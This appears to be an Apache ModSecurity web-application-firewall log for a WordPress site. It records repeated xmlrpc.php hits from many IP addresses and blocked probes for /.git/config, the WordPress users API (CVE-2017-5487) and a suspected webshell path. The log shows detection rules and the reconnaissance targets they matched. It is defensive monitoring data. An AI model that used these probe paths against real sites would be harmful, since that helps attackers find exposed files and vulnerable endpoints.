[Thu Apr 30 19:58:03.186755 2026] [:error] [pid 5733:tid 5801] [client 162.222.34.234:53808] [client 162.222.34.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.222.34.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNDy_T55_Ioa9J2OpLpXwAAAQs"]
[Thu Apr 30 20:00:13.233513 2026] [:error] [pid 5820:tid 5822] [client 59.125.102.226:59160] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNETQyrLh3-LgH3Xv9F4QAAAAA"]
[Thu Apr 30 20:04:57.174659 2026] [:error] [pid 5732:tid 5766] [client 128.140.11.209:40524] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNFaduJ3iSd5Gdjqlg_cAAAAMM"]
[Thu Apr 30 20:07:46.178737 2026] [:error] [pid 6456:tid 6463] [client 95.85.28.210:41270] [client 95.85.28.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.85.28.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNGEkOBwsDodnkJK5xUmAAAAEU"]
[Thu Apr 30 20:07:56.435024 2026] [:error] [pid 6456:tid 6478] [client 80.82.219.138:37090] [client 80.82.219.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.82.219.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNGHEOBwsDodnkJK5xUpQAAAFQ"]
[Thu Apr 30 20:07:56.437033 2026] [:error] [pid 6456:tid 6478] [client 80.82.219.138:37090] [client 80.82.219.138] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNGHEOBwsDodnkJK5xUpQAAAFQ"]
[Thu Apr 30 20:07:56.438206 2026] [:error] [pid 6456:tid 6478] [client 80.82.219.138:37090] [client 80.82.219.138] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNGHEOBwsDodnkJK5xUpQAAAFQ"]
[Thu Apr 30 20:11:28.932216 2026] [:error] [pid 5732:tid 5765] [client 95.110.143.247:59998] [client 95.110.143.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.110.143.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNG8NuJ3iSd5Gdjqlg_zAAAAMI"]
[Thu Apr 30 20:16:29.387522 2026] [:error] [pid 5731:tid 5750] [client 45.32.63.76:48514] [client 45.32.63.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.32.63.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNIHQ8tX7TbSfYoUIw_7gAAAI8"]
[Thu Apr 30 20:16:46.986812 2026] [:error] [pid 5731:tid 5750] [client 178.33.162.49:46612] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNILg8tX7TbSfYoUIw_-wAAAI8"]
[Thu Apr 30 20:17:56.569134 2026] [:error] [pid 5733:tid 5805] [client 158.194.242.217:51238] [client 158.194.242.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.194.242.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNIdPT55_Ioa9J2OpLrpAAAAQ8"]
[Thu Apr 30 20:19:04.051731 2026] [:error] [pid 6456:tid 6474] [client 178.190.153.48:57824] [client 178.190.153.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.190.153.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNIuEOBwsDodnkJK5xXJgAAAFA"]
[Thu Apr 30 20:21:22.415509 2026] [:error] [pid 6456:tid 6463] [client 38.113.191.66:59918] [client 38.113.191.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.113.191.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNJQkOBwsDodnkJK5xYHgAAAEU"]
[Thu Apr 30 20:26:03.844352 2026] [:error] [pid 5733:tid 5792] [client 188.166.14.36:40538] [client 188.166.14.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.14.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNKW_T55_Ioa9J2OpLstAAAAQI"]
[Thu Apr 30 20:26:56.065013 2026] [:error] [pid 5733:tid 5814] [client 80.66.213.216:48732] [client 80.66.213.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.66.213.216, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNKkPT55_Ioa9J2OpLswgAAARg"]
[Thu Apr 30 20:27:11.087338 2026] [:error] [pid 6456:tid 6458] [client 211.21.61.246:35546] [client 211.21.61.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNKn0OBwsDodnkJK5xabQAAAEA"]
[Thu Apr 30 20:37:07.825702 2026] [autoindex:error] [pid 6456:tid 6471] [client 80.241.213.248:62759] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Apr 30 20:37:18.578362 2026] [:error] [pid 6456:tid 6474] [client 107.173.250.23:36956] [client 107.173.250.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.173.250.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNM_kOBwsDodnkJK5xdTQAAAFA"]
[Thu Apr 30 20:46:56.070466 2026] [:error] [pid 5732:tid 5767] [client 95.173.103.120:58128] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.173.103.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNPQNuJ3iSd5GdjqlhCzAAAAMQ"]
[Thu Apr 30 20:47:38.632989 2026] [:error] [pid 5733:tid 5800] [client 82.135.101.195:34516] [client 82.135.101.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.135.101.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNPavT55_Ioa9J2OpLu9QAAAQo"]
[Thu Apr 30 20:48:16.199460 2026] [:error] [pid 5731:tid 5755] [client 157.245.242.100:32522] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNPkA8tX7TbSfYoUIxCSwAAAJQ"]
[Thu Apr 30 20:49:46.123101 2026] [:error] [pid 5733:tid 5811] [client 95.129.97.26:52520] [client 95.129.97.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.129.97.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNP6vT55_Ioa9J2OpLvpwAAARU"]
[Thu Apr 30 20:49:50.916738 2026] [:error] [pid 6456:tid 6463] [client 194.164.168.219:46988] [client 194.164.168.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.168.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNP7kOBwsDodnkJK5xf3QAAAEU"]
[Thu Apr 30 20:52:33.775838 2026] [:error] [pid 5732:tid 5776] [client 157.90.35.146:41170] [client 157.90.35.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.35.146, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNQkduJ3iSd5GdjqlhEDwAAAM0"]
[Thu Apr 30 20:54:14.475489 2026] [:error] [pid 5820:tid 5824] [client 46.101.89.245:33590] [client 46.101.89.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.101.89.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNQ9gyrLh3-LgH3Xv9RRgAAAAI"]
[Thu Apr 30 20:57:08.329109 2026] [:error] [pid 6456:tid 6472] [client 138.252.198.192:44800] [client 138.252.198.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.252.198.192, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNRpEOBwsDodnkJK5xjDAAAAE4"]
[Thu Apr 30 20:57:31.963916 2026] [:error] [pid 5820:tid 5846] [client 145.79.15.113:50420] [client 145.79.15.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 145.79.15.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNRuwyrLh3-LgH3Xv9SHgAAABg"]
[Thu Apr 30 20:59:41.368926 2026] [:error] [pid 6456:tid 6475] [client 185.246.164.237:42784] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNSPUOBwsDodnkJK5xjmwAAAFE"]
[Thu Apr 30 21:00:14.892828 2026] [:error] [pid 5732:tid 5766] [client 138.252.198.192:56122] [client 138.252.198.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.252.198.192, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNSXtuJ3iSd5GdjqlhFXgAAAMM"]
[Thu Apr 30 21:33:33.954822 2026] [:error] [pid 5733:tid 5809] [client 216.81.248.149:56382] [client 216.81.248.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "afNaLfT55_Ioa9J2OpL2mQAAARM"]
[Thu Apr 30 21:44:34.896350 2026] [:error] [pid 6456:tid 6473] [client 101.32.15.141:56314] [client 101.32.15.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afNcwkOBwsDodnkJK5xxDQAAAE8"]
[Thu Apr 30 22:11:17.135253 2026] [:error] [pid 6456:tid 6472] [client 43.160.225.169:35018] [client 43.160.225.169] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afNjBUOBwsDodnkJK5x3RAAAAE4"]
[Thu Apr 30 22:31:29.477643 2026] [:error] [pid 6456:tid 6474] [client 34.118.114.138:39318] [client 34.118.114.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "afNnwUOBwsDodnkJK5x-SwAAAFA"]
[Fri May 01 00:12:51.401715 2026] [:error] [pid 5733:tid 5790] [client 147.234.96.22:34512] [client 147.234.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.234.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afN_g_T55_Ioa9J2OpIK3gAAAQA"]
[Fri May 01 00:13:46.781210 2026] [:error] [pid 21839:tid 21862] [client 147.234.96.22:37574] [client 147.234.96.22] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afN_up_Sh66m95WwxJ4KDQAAAVQ"]
[Fri May 01 00:14:06.862634 2026] [:error] [pid 21839:tid 21854] [client 147.234.96.22:39648] [client 147.234.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.234.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afN_zp_Sh66m95WwxJ4KGQAAAUw"]
[Fri May 01 00:14:24.963024 2026] [:error] [pid 5733:tid 5794] [client 106.14.165.108:51268] [client 106.14.165.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.14.165.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afN_4PT55_Ioa9J2OpIK8AAAAQQ"]
[Fri May 01 00:20:21.700165 2026] [:error] [pid 5733:tid 5793] [client 141.94.27.49:41060] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOBRfT55_Ioa9J2OpILhgAAAQM"]
[Fri May 01 00:22:27.799394 2026] [:error] [pid 21839:tid 21862] [client 141.94.27.49:39904] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOBw5_Sh66m95WwxJ4L9gAAAVQ"]
[Fri May 01 00:25:49.561771 2026] [:error] [pid 5733:tid 5795] [client 59.125.102.226:43168] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOCjfT55_Ioa9J2OpIMQwAAAQU"]
[Fri May 01 00:29:32.925158 2026] [:error] [pid 5733:tid 5799] [client 213.160.75.126:49500] [client 213.160.75.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.75.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afODbPT55_Ioa9J2OpIMxAAAAQk"]
[Fri May 01 00:29:33.960558 2026] [:error] [pid 5820:tid 5846] [client 74.208.194.58:36824] [client 74.208.194.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.208.194.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afODbQyrLh3-LgH3Xv953AAAABg"]
[Fri May 01 00:32:01.113375 2026] [:error] [pid 5732:tid 5765] [client 167.172.55.225:56720] [client 167.172.55.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.55.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOEAduJ3iSd5Gdjqlhb8gAAAMI"]
[Fri May 01 00:32:25.086798 2026] [:error] [pid 5733:tid 5803] [client 35.198.41.118:33280] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOEGfT55_Ioa9J2OpINDgAAAQ0"]
[Fri May 01 00:34:24.548054 2026] [:error] [pid 21839:tid 21844] [client 157.245.242.100:32544] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOEkJ_Sh66m95WwxJ4QGwAAAUI"]
[Fri May 01 00:38:08.964031 2026] [:error] [pid 21839:tid 21854] [client 185.108.129.81:53924] [client 185.108.129.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.108.129.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOFcJ_Sh66m95WwxJ4RQQAAAUw"]
[Fri May 01 00:38:25.420825 2026] [:error] [pid 21839:tid 21843] [client 34.38.32.188:40730] [client 34.38.32.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.38.32.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOFgZ_Sh66m95WwxJ4RYgAAAUE"]
[Fri May 01 00:39:43.995264 2026] [:error] [pid 5732:tid 5770] [client 128.199.207.13:64020] [client 128.199.207.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.207.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOFz9uJ3iSd5GdjqlhcqwAAAMc"]
[Fri May 01 00:45:19.808753 2026] [:error] [pid 6456:tid 6464] [client 188.164.198.80:58728] [client 188.164.198.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.164.198.80, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOHH0OBwsDodnkJK5ydMwAAAEY"]
[Fri May 01 02:32:25.993386 2026] [:error] [pid 5732:tid 5775] [client 103.110.84.178:33948] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOgOduJ3iSd5Gdjqlhv2wAAAMw"]
[Fri May 01 02:48:55.138677 2026] [:error] [pid 5732:tid 5763] [client 59.125.102.226:51570] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOkF9uJ3iSd5Gdjqlh0LgAAAMA"]
[Fri May 01 03:01:58.873195 2026] [:error] [pid 47620:tid 47631] [client 43.128.67.187:51968] [client 43.128.67.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afOnJr9bO-ytgFJ2lwOT_AAAAYM"]
[Fri May 01 03:20:54.377578 2026] [:error] [pid 5732:tid 5764] [client 143.198.119.177:36094] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afOrltuJ3iSd5Gdjqlh8lQAAAME"]
[Fri May 01 03:40:55.334506 2026] [:error] [pid 11946:tid 11960] [client 43.135.134.127:33960] [client 43.135.134.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afOwR7NgEmCRQlqcS4Up8gAAAMw"]
[Fri May 01 03:51:15.222707 2026] [:error] [pid 11850:tid 11868] [client 104.28.214.115:14255] [client 104.28.214.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "afOysy9FWNKz5NLi2PRpIwAAAA4"]
